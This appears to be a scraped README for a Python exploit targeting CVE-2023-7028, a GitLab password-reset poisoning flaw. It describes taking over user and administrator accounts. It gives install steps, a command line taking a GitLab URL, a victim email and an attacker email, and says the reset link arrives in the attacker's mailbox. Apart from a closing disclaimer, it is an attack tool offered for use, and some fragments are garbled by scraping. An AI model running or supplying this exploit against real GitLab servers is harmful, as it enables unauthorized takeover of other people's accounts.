
Python exploit for CVE-2023-7028, abusing GitLab password reset poisoning to take over accounts including administrators via crafted email requests.
This repository contains an exploit for CVE-2023-7028, a critical vulnerability in GitLab that allows an attacker to abuse the password reset functionality and take over accounts, including administrator accounts.
/users/password endpoint in GitLabrequests librarypip install requests
python3 attack.py -u <gitlab_url> -t <target_email> -e <attacker_email>
Example:
python3 attack.py -u http://example.com -t [email protected] -e [email protected]
The exploit will send password reset emails to both the victim and the attacker's email addresses. Once executed successfully, check the attacker's mailbox for a password reset link.
root).This exploit is intended for educational and authorized testing purposes only.
Use this code responsibly. Unauthorized access to systems is illegal.